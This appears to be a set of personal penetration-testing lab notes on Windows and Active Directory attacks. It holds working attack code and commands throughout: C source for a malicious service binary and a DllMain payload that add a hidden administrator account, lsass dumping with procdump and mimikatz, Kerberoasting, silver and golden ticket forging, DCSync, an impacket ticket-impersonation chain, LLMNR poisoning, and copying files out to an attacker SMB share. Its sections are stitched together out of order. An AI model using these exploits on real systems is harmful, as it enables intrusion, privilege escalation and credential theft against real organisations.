# PowerView# Warning: this command might not work on machines running Windows Server 2019 build 1809 or Windows 10 build 1709. It may also not work if the current user doesn't have the correct permissions. It may give a result, but that result might be false.PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose# PsLoggedOn.exe# Warning: this tool relies on the _Remote Registry_ service to work, but that service has not been enabled by default on Windows since Windows 8. The tool may also show our current user as logged on on other machines, because the tool requires to log on temporarily to work.PS C:\Tools\PSTools> .\PsLoggedon.exe \\files04# CrackMapExecbubbleman@htb\[htb]$ sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users# cmd.exePS C:\htb> qwinsta
# Get the filepath for the PSReadLine history filePS C:\Users\dave> (Get-PSReadlineOption).HistorySavePath# Output the file contentsPS C:\Users\dave> type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Constrained Language Mode locks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows and PowerShell classes.
The Microsoft Local Administrator Password Solution (LAPS) is used to randomise and rotate local administrator passwords in attempt to prevent lateral movement.
# Find groups that contain users who can read LAPS passwordsPS C:\htb> Find-LAPSDelegatedGroups# Check the rights on each computer with LAPS enabled for any groups with read access and users with "All Extended Rights". Users with this right can read LAPS passwords and may be less protected than users in delegated groups.PS C:\htb> Find-AdmPwdExtendedRights# Find LAPS-enabled passwordsPS C:\htb> Get-LAPSComputers
Host Discovery
Wireshark
# filtersarpmdns
pktmon.exe (LOLBAS- installed by default on Windows 10 onwards)
pktmon.exe start --etw
pktmon.exe stop
Responder
# -A passively listen (and don't send any poisoned packets)sudo responder -I ens224 -A
tcpdump
sudo tcpdump -i ens224
fping
# -a show targets that are alive# -s print stats at the end of the scan# -g generate a target list from the CIDR network# -q to not show per-target resultsfping -asgq 172.16.5.0/24
# net.exe# Lockout threshold = number of incorrect attempts to lock the account# Lockout duration = number of minutes the account will be locked for# Observation window = number of minutes after which number of attempts resetsPS C:\Users\jeff> net accounts# PowerViewGet-DomainPolicynet use \\DC01\ipc$ "" /u:""net use \\DC01\ipc$ "" /u:guestnet use \\DC01\ipc$ "password" /u:guest# CMEcrackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol# RPCrpcclient -U "" -N 172.16.5.5rpcclient $> querydominforpcclient $> getdompwinfo# Enum4Linux (combines nmblookup, rpcclient and smbclient)enum4linux -P 172.16.5.5
# SYSVOL share# There may be GPP encrypted passwords in there (easily decrypted)PS C:\Tools> ls \\dc1.corp.com\sysvol\corp.com\PS C:\Tools> cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml# PowerView# "-CheckShareAccess" only displays those that are available to our current userPS C:\Tools> Find-DomainShare [-CheckShareAccess]# CMEsudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
# On the victim - PS1PS C:\Tools> Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"# On the victim - exePS C:\htb> .\SharpHound.exe -c All --zipfilename ILFREIGHT# From Kalisudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all --zip
Guides on how to exploit certain permissions on certain objects
PowerView
# AllPS C:\htb> Find-InterestingDomainAcl# ----- Targeting a userPS C:\htb> $sid = Convert-NameToSid wley# ResolveGUIDs turns coded ObjectAceType GUIDs into human readable valuesPS C:\htb> Get-DomainObjectACL [-ResolveGUIDs] -Identity * | ? {$_.SecurityIdentifier -eq $sid}# Get the raw ObjectAceType GUIDsPS C:\htb> Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}# -----
Get-ACL & Get-ADUser
# Create a list of domain userPS C:\htb> Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt# For loop to see what permissions our current user has over the list of domain usersPS C:\htb> foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}# Resolve the coded GUID into a human readable formatPS C:\htb> $guid= "00299570-246d-11d0-a768-00aa006e0529"PS C:\htb> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
Each Windows service has an associated binary file, which are executed when the service is started or transitioned into a running state.
Exploit - Insecure permissions on the service binary file
If a service binary file has insecure permissions, we might be able to replace the file with a malicious one. This file is then executed when the service is restarted or the machine is rebooted. Upon restart, the malicious binary is executed with the privileges of the service, eg LocalSystem.
List the running services
List the running services and the paths to their binaries:
Find a service binary with write permissions granted
An example with no write permissions:
# dave only has Read and Execute (RX) rights on httpd.exePS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe" C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F) NT AUTHORITY\SYSTEM:(F) BUILTIN\Users:(RX) NT AUTHORITY\Authenticated Users:(RX)Successfully processed 1 files; Failed processing 0 filesAn example with full permissions (ie including write):PS C:\Users\dave> icacls "C:\xampp\mysql\bin\mysqld.exe" C:\xampp\mysql\bin\mysqld.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) BUILTIN\Users:(F)Successfully processed 1 files; Failed processing 0 files
Other options include the PowerShell Cmdlet Get-ACL.
Create a malicious binary
Create a malicious binary.
The adduser.c binary will create a new dave2 user and add them to the local Administrators group using the system function:
adduser.c
#include <stdlib.h>int main (){ int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); return 0;}
Compile it.
The target machine is 64-bit so we’ll cross-compile the C code to a 64-bit application with x86_64-w64-mingw32-gcc.
The search order is defined by Microsoft and determines what to inspect first when searching for DLLs. The following list shows the standard search order:
The directory from which the application loaded.
The system directory.
The 16-bit system directory.
The Windows directory.
The current directory.
The directories that are listed in the PATH environment variable.
The safe search order causes the current directory to be searched at position 2.
Exploit - A binary attempts to load a DLL that doesn't exist
A binary might attempt to load a DLL that doesn’t exist on the system. We can try placing a malicious DLL in a path of the DLL search order so it executes when then binary is started.
We need to find all DLLs loaded by a target binary (service) as well as detect missing ones. Once done we could either:
replace one with our own malicious DLL if we have write permissions
provide our own malicious DLL if one is missing
Find a service binary using vulnerable DLLs
List the running services and the paths to their binaries:
Search for a writeable or missing DLL for the service
Either:
Via the process monitor (requires GUI access and admin privileges)
Via copying the target service binary to our Windows machine, installing the corresponding service on it, then use the Process Monitor
Via the process monitor.
We might need to restart the service to get any results in Process Monitor:
PS C:\Users\steve> Restart-Service BetaService
We find a DLL ( myDLL) that cannot be found and is searched for in a location we have access to (ie. the home directory of Steve).
Create a malicious DLL to replace the original one
Create it:
(This will create a new user and add them to the administrators group).
myDLL.cpp
#include <stdlib.h>#include <windows.h>BOOL APIENTRY DllMain( HANDLE hModule,// Handle to DLL module DWORD ul_reason_for_call,// Reason for calling functionLPVOID lpReserved ) // Reserved { switch ( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: // A process is loading the DLL. int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); break; case DLL_THREAD_ATTACH: // A process is creating a new thread. break; case DLL_THREAD_DETACH: // A thread exits normally. break; case DLL_PROCESS_DETACH: // A process unloads the DLL. break; } return TRUE;}
Exploit - The service binary path contains a space
If the file path to a service binary contains a space, the file path will be interpreted in various ways. For example, for the service binary path of C:\Program Files\My Program\My Service\service.exe, Windows uses the following order to try start the executable file:
We can create a malicious executable and place it in a directory that corresponds with one of the possible file paths whilst matching its file name to the corresponding interpreted file name. For example: name our executable Program.exe and place it in C:/.
Find a suitable unquoted service path
Enumerate running and stopped services:
(Via Get-CimInstance or wmic)
C:\Program.exePS C:\Users\steve> icacls "C:\"C:\Program Files\Enterprise.exePS C:\Users\steve> icacls "C:\Program Files"C:\Program Files\Enterprise Apps\Current.exePS C:\Users\steve> icacls "C:\Program Files\Enterprise Apps"# We have write access to the Enterprise Apps folder
Create a malicious binary and move it to the chosen folder
Create a binary.
It creates a user and adds them to the admin group.
adduser.c
#include <stdlib.h>int main (){ int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); return 0;}
Compile it.
The target machine is 64-bit so we’ll cross-compile the C code to a 64-bit application with x86_64-w64-mingw32-gcc.
___
Transfer the binary to the victim machine. See options [](Transfer%20Files.md#Transfer%20to%20Windows|here).
___
Copy the binary to the chosen folder:
```powershell
PS C:\Users\steve> copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Restart the service
Restart:
PS C:\Users\steve> Start-Service GammaService
The service should restart and execute the malicious binary, because it will look for it in the folder we placed it before it looks for the original authenticate binary.
Automate the exploit with PowerUp
If successful, PowerUp will create a new local user called john with the password Password123!. The user is then added to the local Admin group.
Scheduled Tasks are used to execute various automated tasks, like clean-up activities and update management. These tasks have one or more triggers, which when met cause an action.
Exploit - a scheduled task could allow code execution as a privileged user
Find a vulnerable scheduled task
We are looking for the following three things:
The task is executed as a higher privileged user
The task will be triggered soon
When triggered the task will execute something we can take advantage of.
View the scheduled tasks:
Get-ScheduledTask # PowerViewPS C:\Users\steve> schtasks /query /fo LIST /v
We find a task that will execute the following binary C:\Users\steve\Pictures\BackendCacheCleanup.exe.
Exploit the found scheduled task
Check if we have write access to the Picture folder:
PS C:\Users\steve> icacls C:\Users\steve\Pictures\BackendCacheCleanup.exeC:\Users\steve\Pictures\BackendCacheCleanup.exe NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) CLIENTWK220\steve:(I)(F) CLIENTWK220\offsec:(I)(F)
Create a malicious binary:
It creates a user and adds them to the admins group.
adduser.c
#include <stdlib.h>int main (){ int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); return 0;}
responder -I ens224# logs stored at /usr/share/responder/logs
Inveigh (Windows)
PS C:\htb> Import-Module .\Inveigh.ps1# LLMNR and NBNS spoofing# Output to console# Write to filePS C:\htb> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y# C# version (no longer updated)# Hit ESC to enter/exit interactive consolePS C:\htb> .\Inveigh.exe# \<interactive console>HELPGET NTLMV2UNIQUEGET NTLMV2USERNAMES
Dump cached logon hashes
Requires
Login credentials
SYSTEM or local admin permissions
SeDebugPrivilege (might come with the admin privileges)
net use Z: https://live.sysinternals.comZ:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
2. Parse the dump on attacking machine
Load the dump:
mimikatz # sekurlsa::minidump lsass.dmp
Extract credentials:
mimikatz # sekurlsa::logonPasswords
Dump cached Kerberos tickets
Requires
Login credentials
SYSTEM or local admin permissions
Using Mimikatz
Start PowerShell as admin and load Mimikatz:
PS C:\Tools\> .\mimikatz.exe
Engage SeDebugPrivilege:
mimikatz # privilege::debug
Dump tickets:
mimikatz # sekurlsa::tickets
AS-REP Roasting
Exploit - If an account has Kerberos pre-authentication disabled, we could force it to send us a message encrypted with its password, then attempt to decrypt that password
However, if preauthentication is disabled, an attacker could request authentication data for any user and the DC would return an AS-REP message. Since part of that message is encrypted using the user’s password, the attacker can then attempt to brute-force the user’s password offline.
Exploit - obtain a TGS that is encrypted with an SPN account's password hash then attempt to decrypt that password
Obtain an SPN account hash
Windows - rubeus
# The identified SPNs will relate to the domain user that the command is run in the context ofPS C:\Tools> .\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.kerberoastPS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap # admin accounts, no column wrap
Sees which users the current user has GenericWrite permissions, then for those users sets a temporary SPN to obtain hash for. Then deletes the SPN upon completion.
Exploit - With a service's hash we can forge a TGS which has any permissions on that service that we desire
Requires - hash of a SPN, domain SID, and SPN
Limitation - can no longer get silver tickets for non-existent accounts
Since silver and golden tickets represent powerful attack techniques, Microsoft created a security patch to update the PAC structure.5 With this patch in place, the extended PAC structure field PAC_REQUESTOR needs to be validated by a domain controller. This mitigates the capability to forge tickets for non-existent domain users if the client and the KDC are in the same domain. Without this patch, we could create silver tickets for domain users that do not exist. The updates from this patch are enforced from October 11, 2022.
Info - What is a silver ticket?
Remembering the inner workings of the Kerberos authentication, the application on the server executing in the context of the service account checks the user’s permissions from the group memberships included in the service ticket. However, the user and group permissions in the service ticket are not verified by the application in a majority of environments. In this case, the application blindly trusts the integrity of the service ticket since it is encrypted with a password hash that is, in theory, only known to the service account and the domain controller.
With the service account password or its associated NTLM hash at hand, we can forge our own service ticket to access the target resource (in our example, the IIS application) with any permissions we desire. This custom-created ticket is known as a silver ticket and if the service principal name is used on multiple servers, the silver ticket can be leveraged against them all.
In general, we need to collect the following three pieces of information to create a silver ticket:
SPN password hash
Domain SID
Target SPN
Obtain the information required to forge a TGS
Obtain a SPN password hash
If with admin privileges:
dump cached logon passwords
dump cached Kerberos tickets
Else:
AS-REP roasting
Kerberoasting
Obtain the domain SID:
PS C:\Users\jeff> whoami /user
Obtain a target SPN by listing all SPNs (see Enumeration Active Directory section).
Create a forged TGS with the obtained information
Mimikatz
/sid specifies the domain SID
/domain specifies the domain name
/target specifies where the SPN runs
/service specifies the SPN protocol
/rc4 specifies the SPN’s NTLM hash
/ptt allows us to inject the forged ticket into the memory of the machine we execute the command on
See Nagoya box for an example of a silver ticket attack being used
DCSync Attack
Requires domain login credentials with Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set permissions. By default these groups have that...
Administrators
Domains Admins
Enterprise Admins
Exploit - Obtain a copy of the domain database which contains all user hashes
Luckily for us, the domain controller receiving a request for an update does not check whether the request came from a known domain controller. Instead, it only verifies that the associated SID has appropriate privileges. If we attempt to issue a rogue update request to a domain controller from a user with certain rights it will succeed.
Launch a new cmd process with the injected golden ticket:
mimikatz # misc::cmd
On the new cmd process use PsExec to start a remote session
Specify the remote machine with the dns name rather than IP address, otherwise NTLM authentication would be used and not the golden Kerberos ticket and would fail
Perform a S4U attack (see linked guide above or HackTricks)
…Or get the Administrator service ticket (as per this guide)
# 1 Get ticketimpacket-getST -spn cifs/resourcedc.resourced.local resourced/attack\$:'FAKE01' -impersonate Administrator -dc-ip 192.168.167.175# 2 Set environment variableexport KRB5CCNAME=./Administrator.ccache# 3 Add victim IP to hosts filesudo sh -c 'echo "192.168.167.175 resourcedc.resourced.local" >> /etc/hosts'# 4 Psexec as Administrator using the cached Administrator kerberos ticketsudo impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.167.175
Lateral Movement
WMI (wmic.exe / PS WMI)
Requires - credentials for user with Administrators membership on remote machine
Limitation - The wmic utility is now deprecated
[Update - January 2024]: Currently, WMIC is a Feature on Demand (FoD) that’s preinstalled by default in Windows 11, versions 23H2 and 22H2. In the next release of Windows, the WMIC FoD will be disabled by default.
Read more.The WMIC utility is deprecated in Windows 10, version 21H1 and the 21H1 General Availability Channel release of Windows Server. This utility is superseded by Windows PowerShell for WMI. Note: This deprecation applies to only the command-line management utility. WMI itself isn’t affected.
Spawn a remote process (eg. calculator) with wmic.exe
Launch the calculator app as jen on machine 192.168.50.73
C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
Spawn a remote process with PowerShell WMI
Launch the calculator app on 192.168.50.73 as jen:
Requires - (1) Username and hash/password for user with Administrator membership on remote machine (2) ADMIN$ share available (it is by default) (3) File and Printer Sharing enabled (it is by default)
Using psexec.exe
Launch PsExec64.exe (comes as part of the sysinternalssuite)
\\FILES04 to specify what machine to remote to
-u to specify which user the remote session will be associated with
Requires - (1) Username and hash/password for user with Administrator membership on remote machine (2) ADMIN$ share available (it is by default) (3) File and Printer Sharing enabled (it is by default)
Limitation - The 2014 security update prevented this technique from being used to authenticate as an account in the local Administrators group (apart from the built-in Administrator account).
Limitation - (1) password/hash for user with Administrators membership on remote machine and (2) winrm must be enabled on the remote host (is port 5895 or 5896 open?)
# On Kaliimpacket-smbserver -smb2support -username df -password df share .# On victim
net use \\10.10.14.6\share /u:df dfcopy file.zip \\10.10.14.4\share\net use /d \\10.10.14.6\share # delete the share
Kali → Windows
# On Kali (in folder to share)smbserver.py -username df -password df share . -smb2support# On Windowsnet use \\10.10.14.30\share /u:df dfcd \\10.10.14.30\share\